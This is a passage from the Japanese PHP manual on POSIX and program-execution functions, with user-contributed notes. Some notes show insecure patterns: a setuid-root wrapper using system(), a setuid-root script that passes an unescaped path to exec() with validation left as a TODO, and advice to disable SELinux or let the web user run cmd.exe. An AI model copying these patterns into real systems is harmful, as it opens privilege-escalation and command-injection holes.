echo posix_geteuid()."\n"; //10001
posix_setuid(10000);
echo posix_getuid()."\n"; //10000
echo posix_geteuid()."\n"; //10000
?>

参考

  • posix_setgid() - 現在のプロセスの GID を設定する
  • posix_seteuid() - 現在のプロセスの実効 UID を設定する
  • posix_getuid() - 現在のプロセスの実際のユーザー ID を返す
  • posix_geteuid() - 現在のプロセスの有効なユーザー ID を返す

User Contributed Notes

Leigh 22-May-2014 02:08
Note that on unix, if your target user does not have a valid shell, some php functions (eg: tempnam) will not work correctly:

$ grep www-data /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

$ cat test.php
#!/usr/bin/php -q
<?php
    $info=posix_getpwnam("www-data");
    $id=$info["uid"];

    $file=tempnam("/tmp","something");
    print "PRE SetUID: $file\n";

    $SETUID=posix_setuid($id);

    $file=tempnam("/tmp","something");
    print "POST SetUID: $file\n";
?>

$ sudo ./test.php
PRE SetUID: /tmp/somethingrsb1qZ
POST SetUID:
fm at farhad.ca 17-Oct-2007 03:44
When you do a posix_setuid from root to some other users you will not have access to files owned by root according to their permissions. For instance if you change owner of the process and still need to open a file for read or write with 600 permission owned by root you will receive a permission denied.
There are some ways to do this (i.e. a unix socket or tcp daemon etc), but probably the most easiest way is:

Open the file before changing ownership of process, save the file pointer in a global variable and use it after changing ownership.

For example assume /root/test_file is a file owned by root:root and have a permission of 600 and you are running this script under root. This code will not work:

<?php
// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

$fd = fopen('/root/test_file','a');
fwrite($fd,"some test strings");
fclose();

?>

But this one will work:

<?php
$fd = fopen('/root/test_file','a');

// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

fwrite($fd,"some test strings");
fclose();

?>

Hope this helps some one.

[Tested on CentOS 5 - Linux 2.6.x - PHP 5.2.x]
reuben @ nospam me 25-Apr-2007 06:25
In response to a note above that advocated the user of system() in a setuid program written in C, this is generally a bad idea for security.

You should use the standard library calls like execl() instead because system() can be manipulated to execute the wrong thing using the SHELL, IFS and possibly other variables.
TheWanderer 09-Feb-2007 04:16
On many UNIX systems (tested on Debian GNU/Linux), SUID is disabled for scripts and works only for binaries. If you need to setuid, you must use a wrapper binary that runs setuid() php script. Here's an example:

$ nano suexec.cpp
#include <stdlib>
using namespace std;
int main()
{
system("php /home/php/php_user.php");
return 0;
}

$ g++ -o suexec suexec.cpp
$ sudo chown root:root suexec
$ sudo chmod 4755 root

Then we create short PHP script to set process uid (you should already know how to do this). Don't even try to experiment with auto_prepend_file in php.ini, it doesn't work as expected.
hpaul/at/abo/dot/fi 29-Jul-2006 11:56
It seems like this function returns true if you try to change uid to the already active user - even if you aren't root.

Should save you one if-statement in some cases.
rjmooney at syr dot edu 09-Nov-2003 03:40
For simple operations, you can easily create a privilege-separation mechanism to perform commands that require elevated privileges.

For example, in creating a document repository, I had the need to provide access to certain directory and file operations based on a user's login name.  It's unrealistic and unsecure to provide the web server access to all of the directories that the user may need to access, so I created a setuid() script to perform the required operations for me.

An exerpt from the code demonstrates this:

<?

//
// main.php
//

// Perform a privileged stat()
function privsep_stat($path)
{
        // Call the privilege separation program, ask for a stat of the specified path
        $serialized_result = exec("/path/to/privsep.php stat " . $path, $oa, $return_code);
        if ($return_code != 0)
        {
                return false;
        }

        // Return the unserialized object
        return unserialize($serialized_result);
}

// Get file statistics on a file we don't have access to as the web server user
$st = privsep_stat("/private_directory/private_file");
print_r($st);

?>

privsep.php looks like this:

#!/usr/local/bin/php
<?

//
// privsep.php
//

// Don't allow this script to be run from the web
if (isset($_SERVER['REQUEST_METHOD']))
{
    print "<br>This program is not intended to be run directly from the WWW.\n";
    return 1;
}

// TODO: add your argument validation here

// A stat was requested
if ($argv[1] == "stat")
{
    // Reset the stat() cache
    clearstatcache();

    // Original user ID
    $original_uid = posix_get_uid();

    // Set our real user ID to root
    $success = posix_setuid(0);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Store the file statistics
    $st = stat($argv[2]);

    // Drop the real UID back to the calling user ID
    $success = posix_setuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Drop the effective UID as well
    $success = posix_seteuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot seteuid().\n";
        return 1;
    }

    // Serialize the result and print it
    $result = serialize($st);
    print $result;

    // Success!
    return 0;
}
?>

Finally, privsep.php's permissions are configured like this:

# chown root:wheel privsep.php
# chmod 4755 privsep.php

And look like this:

-rwsr-xr-x  1 root      wheel     1000 Nov  1 00:00 privsep.php

It's probably wise to keep privsep.php out of your document root to help mitigate any successful attack.

This method can be extended for other functions.  Use at your own risk.
simon at dont-spam-me-pleease dot simonster dot com 02-Aug-2002 03:53
Here's some Perl code to run a PHP script setuid. Just put it into a CGI, make that CGI setuid and executable, then call the CGI where you would usually call the PHP script.

#!/usr/local/bin/perl

# Perl wrapper to execute a PHP script setuid
# ?2002 Simon Kornblith
# Requires PHP CGI

# Make UID = EUID (so that PHP can run system()s and execs() setuid)
$< = $>;
# Set this to the path, so that we can't get poisoned
$ENV{'PATH'} = "/home/httpd/cgi-bin/ssl/admin";
# Open the PHP script (must start with !#/usr/local/bin/php or similar and
# be executable
open(STDOUT, "| /home/httpd/cgi-bin/ssl/admin/new.php");
# Write STDIN to PHP script
print while <STDIN>;


指定したエラー番号に対応するシステムのエラーメッセージを取得する

  • ≪ posix_setuid
  • posix_times ≫
  • PHP Manual
  • POSIX 関数
  • 指定したエラー番号に対応するシステムのエラーメッセージを取得する

posix_strerror

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_strerror — 指定したエラー番号に対応するシステムのエラーメッセージを取得する

説明

posix_strerror ( int $error_code ) : string

指定したエラー番号 error_code に対応する POSIX システムエラーメッセージを返します。 error_code を取得するには、 posix_get_last_error() をコールします。

パラメータ

error_code

posix_get_last_error() が返す POSIX エラー番号。0 に設定すると、文字列 "Success" が返されます。

返り値

エラーメッセージを表す文字列を返します。

例

例1 posix_strerror() の例

この例では、存在しないプロセスを殺そうとしています。 そして、その結果として発生したエラーに対応するメッセージを表示します。

<?php
posix_kill(50,SIGKILL);
echo posix_strerror(posix_get_last_error())."\n";
?>

上の例の出力は、 たとえば以下のようになります。

No such process

参考

  • posix_get_last_error() - 直近で失敗した posix 関数が設定したエラー番号を取得する

User Contributed Notes

There are no user contributed notes for this page.


プロセス時間を得る

  • ≪ posix_strerror
  • posix_ttyname ≫
  • PHP Manual
  • POSIX 関数
  • プロセス時間を得る

posix_times

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_times — プロセス時間を得る

説明

posix_times ( ) : array|false

現在の CPU 使用状況についての情報を取得します。

返り値

現在のプロセスの CPU 使用状況に関する情報を表す文字列を連想配列 として返します。連想配列のキーは次のようになります。

  • ticks - リブートからの経過クロック数。
  • utime - 現在のプロセスにより使用されているユーザー時間。
  • stime - 現在のプロセスにより使用されているシステム時間。
  • cutime - 現在のプロセスおよび子プロセスにより使用されているユーザー時間。
  • cstime - 現在のプロセスおよび子プロセスにより使用されているシステム時間。
この関数は、失敗時に false を返します。

注意

警告

この関数の返す値は信頼できません。 時間が大きくなると負の値を返すこともあります。

例

例1 posix_times() の使用例

<?php

$times = posix_times();

print_r($times);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [ticks] => 25814410
    [utime] => 1
    [stime] => 1
    [cutime] => 0
    [cstime] => 0
)

User Contributed Notes

brain at winbot dot co dot uk 26-Jun-2004 06:14
doesnt work with freebsd. as stated above the clock ticks at different intervals on different platforms.

for system uptime consider piping the uptime command or similar, depending on if performance is an issue or not.
not_rich_yet at hotmail dot com 19-Jul-2003 04:21
If you want the output to be 'grammatically correct' then try the following code.  It will eg print '1 minute' as opposed to '1 minutes', the same goes for days and hours:

Put the following code somewhere in the head of the page code:

<?php
function uptime() {
if (!$times = posix_times() ) {
return ("unknown");
} else {
$now = $times['ticks'];
$days = intval($now / (60*60*24*100));
$remainder = $now % (60*60*24*100);
$hours = intval($remainder / (60*60*100));
$remainder = $remainder % (60*60*100);
$minutes = intval($remainder / (60*100));
if ($days == 1) {$writeDays = "day";} else {$writeDays = "days";}
if ($hours == 1) {$writeHours = "hour"; } else {$writeHours = "hours";}
if ($minutes == 1) {$writeMins = "minute";} else {$writeMins = "minutes";}
return ("$days $writeDays, $hours $writeHours, $minutes $writeMins");
}
}
?>

Then put this bit where you want the info displayed:

<?php
print uptime();
?>

Regards,

nry
murphy at nmc-online dot co dot uk 17-Jun-2003 11:01
I am not sure why, and it could just be me but on my FreeBSD system using
$time = posix_times();
$time['ticks'] is an enormous value that bears no relation to the system uptime (I tested by rebooting the system,  the number does not change).
I checked my timecounters, they tick every 10.000msec and I did the maths on the returned value and it suggested the machine had been up for over 200 days - it was reformatted about a week ago.
This could be to do with FreeBSD, or *BSD, or just *idiots like me but just check before you use the function.
 ~
FreeBSD 5.1-R, Apache 2.0.46, PHP4.3.2
rossz+php at vamos-wentworth dot org 20-Nov-2002 01:42
This function will return the system uptime as a human readable string such as "172 days, 18 hours, 15 minutes".  I didn't bother to handle singular so the grammar could be a bit off, e.g. 1 hours.

function uptime() {
  if (!$times = posix_times()) {
    return ("unknown");
  } else {
    $now = $times['ticks'];
    $days = intval($now / (60*60*24*100));
    $remainder = $now % (60*60*24*100);
    $hours = intval($remainder / (60*60*100));
    $remainder = $remainder % (60*60*100);
    $minutes = intval($remainder / (60*100));
    return ("$days days, $hours hours, $minutes minutes");
  }
}


端末のデバイス名を調べる

  • ≪ posix_times
  • posix_uname ≫
  • PHP Manual
  • POSIX 関数
  • 端末のデバイス名を調べる

posix_ttyname

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_ttyname — 端末のデバイス名を調べる

説明

posix_ttyname ( resource|int $file_descriptor ) : string|false

ファイル記述子 file_descriptor 上でオープンしている現在の端末デバイスへの絶対パスを文字列で返します。

パラメータ

fd

ファイル記述子。ファイルリソースか、あるいは int で指定します。 int を指定した場合は、システムコールにそのまま渡せるファイル記述子だとみなします。

たいていの場合は、ファイルリソースで指定することになるでしょう。

返り値

成功した場合に file_descriptor の絶対パスを表す文字列、 失敗した場合に false を返します。

User Contributed Notes

casper at bcx dot nl 19-Apr-2006 07:10
<?php
    var_dump( posix_ttyname(STDOUT) );
?>

returns:
string(10) "/dev/pts/0"

When using pseudo terminal 1 (ie ssh)


システム名を得る

  • ≪ posix_ttyname
  • プログラムの実行 ≫
  • PHP Manual
  • POSIX 関数
  • システム名を得る

posix_uname

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_uname — システム名を得る

説明

posix_uname ( ) : array|false

システムについての情報を取得します。

POSIX では、値のフォーマットに関して何の仮定も設けないことを規定しています。 例えば、バージョン番号が 3 桁の数字であることや、 この関数により返されるその他のものに依存してはいけません。

返り値

システムに関する情報を文字列の連想配列として返します。 連想配列のキーは、次のようになります。

  • sysname - オペレーティングシステムの名前 (例 Linux)
  • nodename - システムの名前 (例 valiant)
  • release - オペレーティングシステムのリリース (例 2.2.10)
  • version - オペレーティングシステムのバージョン (例 #4 Tue Jul 20 17:01:36 MEST 1999)
  • machine - システムアーキテクチャ (例 i586)
  • domainname - DNS ドメイン名 (例 example.com)

domainname は、GNU の拡張機能で POSIX.1 には含まれていません。 このため、このフィールドは GNU システム上または GNU libc を使用している場合にのみ使用可能です。

この関数は、失敗時に false を返します。

例

例1 posix_uname() の使用例

<?php
$uname=posix_uname();
print_r($uname);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [sysname] => Linux
    [nodename] => funbox
    [release] => 2.6.20-15-server
    [version] => #2 SMP Sun Apr 15 07:41:34 UTC 2007
    [machine] => i686
)

User Contributed Notes

boards at gmail dot com 29-Jan-2006 09:24
Or, a simpler way to do that:

<?php
print_r(posix_uname());
?>

Should print something like:

Array
(
    [sysname] => Linux
    [nodename] => vaio
    [release] => 2.6.15-1-686
    [version] => #2 Tue Jan 10 22:48:31 UTC 2006
    [machine] => i686
)
sean at thedesignpeople dot com 09-Aug-2004 08:39
A simple example of how to loop thru and display the results of the posix_uname() function...

<?php
foreach(posix_uname() AS $key=>$value) {
    print $key .": ". $value ."<br>";
}
?>

The procedure above should return something similar to the following results:

sysname: Linux
nodename: node1
release: 2.4.26
version: #6 Mon Jun 14 19:07:27 PDT 2004
machine: i686


システムプログラムの実行

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • プログラム実行関数
    • escapeshellarg — シェル引数として使用される文字列をエスケープする
    • escapeshellcmd — シェルのメタ文字をエスケープする
    • exec — 外部プログラムを実行する
    • passthru — 外部プログラムを実行し、未整形の出力を表示する
    • proc_close — proc_open で開かれたプロセスを閉じ、 そのプロセスの終了コードを返す
    • proc_get_status — proc_open で開かれたプロセスに関する情報を取得する
    • proc_nice — 現在のプロセスの優先度を変更する
    • proc_open — コマンドを実行し、入出力用にファイルポインタを開く
    • proc_terminate — proc_open でオープンされたプロセスを強制終了する
    • shell_exec — シェルによりコマンドを実行し、文字列として出力全体を返す
    • system — 外部プログラムを実行し、出力を表示する

User Contributed Notes

Anonymous 20-Oct-2019 06:59
Backticks is probably going to be deprecated. It's safer to not use it.
See details why:
https://wiki.php.net/rfc/deprecate-backtick-operator-v2
bishop at php dot net 10-Oct-2019 02:47
Similar to these functions, there is also the backtick ("back-tick") execution operator:

https://www.php.net/manual/en/language.operators.execution.php

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

This operator runs the command given inside the backticks, and supports string interpolation just like double quotes:

<?php
    $dir = addcslashes(sys_get_tmp_dir(), '"');
    echo `ls "{$dir}"`;
?>


はじめに

以下の関数は、システム自体の上でコマンドを実行したり、 こうしたコマンドを安全に実行する手段を提供します。

注意:

これらの関数は、Windows ではすべて cmd.exe 経由でコマンドをコールします。 そのため、これらの関数をコールするユーザーが適切なコマンド実行権限を持っていなければなりません。 唯一の例外は、proc_open() を bypass_shell オプションつきでコールする場合です。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールが定義するリソースは process リソースで、これは proc_open() が返します。

User Contributed Notes

There are no user contributed notes for this page.


プログラム実行関数

注意

警告

ロックしてオープンしたファイル (特に、オープンしたセッション) は、プログラムをバックグラウンドで実行する前に閉じておく必要があります。

参考

以下の関数は、 バックティック演算子 にも関係します。

目次

  • escapeshellarg — シェル引数として使用される文字列をエスケープする
  • escapeshellcmd — シェルのメタ文字をエスケープする
  • exec — 外部プログラムを実行する
  • passthru — 外部プログラムを実行し、未整形の出力を表示する
  • proc_close — proc_open で開かれたプロセスを閉じ、 そのプロセスの終了コードを返す
  • proc_get_status — proc_open で開かれたプロセスに関する情報を取得する
  • proc_nice — 現在のプロセスの優先度を変更する
  • proc_open — コマンドを実行し、入出力用にファイルポインタを開く
  • proc_terminate — proc_open でオープンされたプロセスを強制終了する
  • shell_exec — シェルによりコマンドを実行し、文字列として出力全体を返す
  • system — 外部プログラムを実行し、出力を表示する

User Contributed Notes

onkelfilemon at gmail dot com 25-Oct-2020 01:24
Note that `popen` is also a program execution function, which for some reason is not listed here.
HappyDog, kennel17.co.uk 04-Mar-2017 12:35
Just following up my previous post, in reply to lancelot--du-lac at hotmail dot fr:

The behaviour described was fixed in PHP 5.3 in the following commit:

https://github.com/php/php-src/commit/19322fc782af429938da8d3b421c0807cf1b848a#diff-15f2d3ef68f383a87cce668765721041R221

To replicate the fix in your own code, so it also runs on PHP 5.2, instead of:

<?php
$cmd = "...any shell command, maybe with multiple quotes...";
exec($cmd);
?>

use

<?php
$cmd = "...any shell command, maybe with multiple quotes...";

if (strtoupper(substr(php_uname('s'), 0, 3)) == "WIN"
    && version_compare(PHP_VERSION, "5.3", "<"))
{
    $cmd = '"' . $cmd . '"';
}

exec($cmd);
?>

This replicates the behaviour of PHP 5.3 and above.  Note that this applies to all shell commands (not just exec(), as used in my example).
HappyDog, kennel17.co.uk 04-Mar-2017 11:22
In response to lancelot--du-lac at hotmail dot fr, who pointed out some issues with commands containing multiple quoted strings when calling shell functions on Windows:  I have also recently encountered this issue when trying to run my code on PHP 5.2.  The code runs fine on PHP 5.3 and above so I guess the problem has been fixed (though I couldn't find a mention of it in the PHP release notes), but on 5.2 it behaves as described in that post.

Although the original post says there was no output, this isn't quite right.  The reason there was no output is because the error is being sent to stderr, which wasn't being captured.  Adding " 2>&1" to the end of the command means you also see this output.  This ends up being quite illuminating; I was getting was something like this:

  'C:\Program' is not recognized as an internal or external command,
  operable program or batch file.

Clearly, having two quoted strings in the command confuses the shell commands; the result is the same as if you ran the command without any quotes.

I haven't found a workaround for anyone who still needs to support 5.2, but as I say, it doesn't seem to be an issue on later PHP versions.

[Note: I was also testing on Windows XP (SP3), so I am not sure if this was a general Windows issue or specific to XP.]
benkitzelman at yahoo dot co dot uk 20-Aug-2010 08:02
Within Linux, when calling the php interpreter directly from popen, or other program execution function to execute a script, it appears as though the script perpetually fails and re-executes.

i.e. <?php popen("php myscript.php&", "w"); // fail ?>

As each re-execution causes the executing script to load under a new PID, it is incredibly difficult to identify and kill the process manually.

[One solution is] to ensure the executing script has a valid shebang, and execute permissions. This allows you to execute the script directly

i.e. <?php popen("./myscript.php", "w"); // ok ?>
Anonymous 09-Jul-2008 10:34
I found this comment on this page:

[begin of quote]
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
[end of quote]

This is just to complicated. Only two things are needed:
1. Specific permissions for the IUSR account for read & execute to the cmd.exe in C:\Windows\System32 directory
2. Specific permissions for the IUSR account for read & execute to the command that's needed (example: nslookup.exe in C:\Widnows\System23 directory)

With just this two conditions the exec works fine

(This is for an IIS server running on a windows platform)
mosesdinakaran at yahoo dot co dot in 17-Mar-2008 06:49
Hi

     I had  problem with executing   exec(),shell_exec() (PHP is not running on Safe Mode).

     After spending some time I was able to find out that the Problem is  with SELinux enabled in my system.

      You can make sure about this by seeing the log  /var/log/messages
     So I disabled SELinux and now everything works.

     A Temporary  Disable to selinux #> setenforce 0;

     Since I felt this is not a good Idea I still went through some sites and find a solution which I felt good.

     Fedora's SELinux policy has some booleans - let's see what it has for our apache:
# /usr/sbin/getsebool -a | grep httpd
allow_httpd_anon_write -- off
allow_httpd_mod_auth_pam -- off
allow_httpd_sys_script_anon_write -- off
httpd_builtin_scripting -- on
httpd_can_network_connect -- off
httpd_can_network_connect_db -- off
httpd_can_network_relay -- off
httpd_disable_trans -- off
httpd_enable_cgi -- on
httpd_enable_ftp_server -- off
httpd_enable_homedirs -- on
httpd_rotatelogs_disable_trans -- off
httpd_ssi_exec --off
httpd_suexec_disable_trans -- off
httpd_tty_comm -- off
httpd_unified -- on

   From the above we can make sure that exec() is not working  because of this httpd_ssi_exec -- off   setting
  So I turned it On.

#> setsebool -P httpd_ssi_exec 1;

    Now I was able to see the output of shell_exec('ls -al')

Moses
luko post cz 29-Jan-2008 06:15
to lancelot:

it's simple exec($my_cmd) on windows executes 'cmd /c $my_cmd'
if there are any spaces in $my_cmd you have to put it in doublequotes:
cmd /c "$app $target" will work

further if there are any spaces in $app and $target they also have to be in doublequotes:
cmd /c ""$app" "$target""

therefore enclose your $cmd in two more doublequotes and dont forget to escape slashes \\

$cmd = "\"\"C:\\my path with spaces\\targetapp.exe\" \"C:\\mypathnospaces\\targetfile.xxx\"\"";

and exec($cmd) will work :)
no chdir anymore...
lancelot--du-lac at hotmail dot fr 24-Jan-2008 11:00
The note is about usage of exec() under windows...

In replay to k dot mitz dot NO_SPAM at att dot NO_SPAM dot net: why not enclose your $cmd in simple quotes instead?

Here is where i'm at right now (also TRYING to use exec() and passthru() on windows XP sp2):

you can do this:

$cmd = '"C:\my path with spaces\targetapp.exe" C:\mypathnospaces\targetfile.xxx';
exec($cmd);

The above works.
________

Or, you can put your script into your directory C:\my path with spaces\, and work with php directly from there:

$cmd = 'targetapp.exe "C:\my other path with spaces\targetfile.xxx"';
exec($cmd);

The above also works, provided of course your script has the correct working directory.
________

But... In your cmd.exe, you can issue:

"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"

Although the above works perfectly in the cmd, the following php script does NOT work on my system:

$cmd = '"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"';
exec($cmd,&$content);

Not that it sends an error, it just does nothing, and you get nothing written into your $content array... Not that I do understand why.
________

As far as my few tryings go, the root of the problem lies in the fact that the command to execute has two passages enclosed inside double quotes. Another command which I've had working in the cmd but NOT with php is:

'"C:\my path with spaces\Apache2\bin\Apache.exe" -w -n "Apache2" -k restart'

Maybe someone has a solution; I don't (other than using chdir).
jakster at gmx dot net 05-Jan-2008 04:56
To fork a process I use the following code

<?php

fclose(STDOUT);   //Close all output or it WON'T work
fclose(STDIN);
fclose(STDERR);

if(pcntl_fork()) {
    exit;            //Return to the caller
}

//Code to run in the background

pcntl_exec("/usr/bin/php",Array($_SERVER['argv'][1]));

?>

I call this script from my website with
<?php
function fork($script){        //run a forked php script relative to the document root. NO OUTPUT IS DISPLAYED!
    global $config;
    $cmd = "/usr/bin/php \"" . dirname($_SERVER['SCRIPT_FILENAME']) . "/includes/forked/forkHelper.php\" \"" . $script . "\"";
    exec($cmd);
}
?>
steve dot robinson at frogneck dot com 21-May-2007 07:46
If you are trying to use exec to run a cgi and output the contents via a php file, headers need to be seperated from the content and output seperately.

Also, at least in the case of the cgi I was attempting to execute, line feeds were missing, and some javascript didn't work as a result, so you may have to add line feeds back into the resulting output.  Here is the code I used to output my cgi properly...

<?PHP
putenv('REQUEST_METHOD=GET');

// to get your parameters passed into the cgi..
putenv('QUERY_STRING=' . $_SERVER['QUERY_STRING']);

//you will know you are past the header when you
//hit a blank line ('')
$inheader=true;
foreach($output as $val){
        if($val=='')
                $inheader=false;
        if($inheader)
                header($val);
        else
                echo($val . "\n"); // output contents
}
?>
php at fendy dot org 02-May-2007 05:51
Scheduling WinXP tasks with schtasks.exe and using PHP to execute the command, may sometime fail to work.

This is because, Apache does not have the privilege to access some of the System Files when placing the scheduling. The way I'd do: is by creating a normal user account and assign Apache service to logon as that account.

Open the 'services.msc' in the 'Run' window, look for Apache in the listing, right click and get to 'Properties'. Click at the second tab 'Log On' and fill in the 'This account' fields.

Of course, Apache needs to be installed as Service during its first setup.

Hope this helps anyone.

Fendy Ahmad
pawel_do_not at spam_me_lenart dot pl 24-Apr-2007 04:51
You must remember that if you're running your own compiled C programs and you don't get any output you probably do it like this:

printf("some text");

shell_exec and similiar functions won't display it, you must do your output as follows:

fprintf(stdout, "some text");

and then shell_exec and so will correctly read stdout (spent an hour wondering why my program isn't working when connected with PHP :)
29-Jan-2007 08:16
it seams to me the best way would be to copy cmd.exe to a secure directory somewhere under your web directory, add it to the windows path and then call it from there using system commands. It seams as though that would get arround any security holes
Matt-kun 08-Dec-2006 10:50
Just a simple note to help people get rid of some headaches.

when using:
<?
       $filepath = "the path of the file";
       exec("program -command $filepath ");
       fopen($filepath,rw);
?>

Make sure you use  "\ " ( \ space) for the Linux\unix path and just " " space for fopen. These are both very basic things that you wouldn't normally think to cause a problem, but when you try to pass slashes to fopen it either breaks or even better works incorrectly =D. And vise versa for any programs that use "\ " for spaces in file paths/names.

I ran into this problem when using <? exec(" cp $path "); ?> and <? fopen("$path"); ?>. To fix it I used str_replace(" ","\ ",$path); and str_replace("\ ", " ",$path);

*Note this is alot of sudo code, and there are faster more effecient ways of doing the same operations, but I thought this might help those who were going crazy over filepaths =D.
PHP at jyoppDot-com 04-Oct-2006 10:38
Here's a function to launch a low-priority background process very simply, returning control to the foreground.  I found that a lot of the other approaches shown here allow the script to continue running, and the page is served up to the user, but the PHP thread that launched the process cannot be re-used until the process has completed.  Stdout and stderr need to be redirected to /dev/null to prevent this.

This is for BSD/*NIX servers only (tested on Fedora Core and OSX).  Win32 approaches would be necessarily very different.  Omit 'nice' if you don't want to run the process with lowered priority.

<?php
function fork($shellCmd) {
    exec("nice $shellCmd > /dev/null 2>&1 &");
}
?>
t dot kramer at NOSPAM dot safetbus dot de 21-Sep-2006 02:21
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
Thomas
Arjan van Bentem 12-Jul-2006 12:38
When using Red Hat Fedora, beware of Security Enhanced Linux, SELinux.

Quoted from Red Hat: "The security goal is to make sure that Apache HTTP is only reading the static Web content, and not doing anything else such as writing to the content, connecting to database sockets, reading user home directories, etc."

These limitations include, among many other things, using exec to run external applications that happen to use sockets (or maybe access some files) such as HylaFAX "faxstat" as invoked from nweb2fax recvq.php and sendq.php.

For debugging, one could try running such commands using PHP Shell (see http://mgeisler.net/php-shell/) which might fail while execution from the real command line (as Unix user apache or httpd) yields no problem whatsoever.

See /var/log/messages for any denials due to the SELinux policy. To disable it:

- System, Administration, Security Level and Firewall
- open the SELinux tab
- click the Transition tree
- check Disable SELinux protection for Apache HTTP
- execute /etc/init.d/httpd restart

See also http://fedora.redhat.com/docs/selinux-faq/ and http://php.net/results.php?q=selinux&p=wholesite
judas dot iscariote at gmail dot com 01-Jun-2006 12:19
This functions are generally considered harmful,without proper input validation procedures are as worse as eval().

If what you are trying to do is possible using other mechanism, ** do it that way, even if it takes more time **.

Do not cry or blame PHP if your server gets "owned" due to a missing escapeshell*** in your code , you have been warned.
manokan at manokan dot net 17-Apr-2006 10:09
Lets make it even clearer, about the "unable to fork" error in exec().

By default Windows XP sets all permissions for cmd.exe for the temporary internet user account (IUSER-[computername]) to DENY. That overrides everthing.

You must modify the security on cmd.exe to give the IUSER-computername account at least read & execute and remove the DENY.
not at any dot com 23-Feb-2006 12:16
at LAST!  tenacity pays off, days trying every little thing!

I didn't want batch files.  I'm trying to use PHP to get rid of batch files.

I didn't want to call a file to parse the parameters to call a shell to call a file.  I've got "systems" right now with batches tiered three and five deep.

I just wanted to run stuff.

CALL, tested on WinXP, will be testing on more OSes right away, in PHP4 and 5, with exec, system, works with popen, and passthru.

here is my lame sample function.

//  CreateZip
    function createzip ($target, $archive)
    {   $ziputil = "call \"c:\\Program Files\\7-zip\\7z.exe\"";
        $archived = escapeshellarg($archive);
        $targeted = escapeshellarg($target);

        $shellcommand= $ziputil." a -tzip ".$archived." ".$targeted."\n";

  // all of the below are working in Win XP Pro
    passthru ($shellcommand);
    exec ($shellcommand);
    system ($shellcommand);
    shell_exec ($shellcommand);
    $proc= popen ($shellcommand, "r"); //$proc contains output

LONG PATH NAMES WITH SPACES IN THEM ON WINDOWS!

all in a big long concatenated command line with multiple quoted-filename parameters

shell scripting bliss!
valqk at lozenetz dot org 24-Nov-2005 04:05
If you are chrooting php into enviornment that doesn't have /bin/sh you can't execute any command! Even when you call
mail() and it calls sendmail ... well actually sendmail NEVER gets called because /bin/sh is not in the chroot!
SO in conclusion: YOU MUST HAVE /bin/sh TO EXECUTE SOMETHING!!!
VERY IMPORTNAT!
I've lost few days while find this, hope it helps someone!!!
manokan at manokan dot net 27-Oct-2005 03:01
Even more on the "unable to fork" error.

It was driving me crazy! I did check that the permissions were set for the IUSR_[server] account to read & exec cmd.exe. Yet still it failed. It wasn't until I got desperate that I happened to look in "special permissions." (Click the advanced tab underneath the regular list of permissions.) There I found that  somehow the IUSR_[server] account had a special permission DENYING access! Of course deny overrides everything else.

This was a newly set up install of XP pro. It must be the default of something (I'd guess IIS) to set this deny permission just to make our lives miserable.
abhilashp at clariontechnologies dot co dot in 29-Sep-2005 09:58
I faced the problem of putting a shell script as a backgroud process using both exec() and system() commands on a FreeBSD Server with PHP 4.4.0

I tried all the above mentioned methods but couldnt succeded, then i coded this script and am sure will work on all Linux flavors... See if ot helps you all guys...

I Put my Shell Script in the variable $ExecCommand

and used the proc_close and proc_open functions the code is as follows :

proc_close (proc_open ($ExecCommand,array(),$somefun));

After the above line the rest of the usual  php script continues....

Hope it helps you guys..
Shaun 26-Jan-2005 01:53
Trying to use 'exec' to run a helper executable on Win2K3 (and I'm told this also happens on Win2K) from a PHP script running on IIS, failed to invoke the executable.

Running the same PHP script on Win2K using Apache to serve the page calling the same helper executable worked.

Solution: On Win2K3 (and probably Win2K), give the IIS IUSR_xxxxx guest user Read & Execute permissions to Cmd.exe found in the System32 folder under Windows root directory.

This one had me confused longer than it should have! Hope this saves others from the same fate!
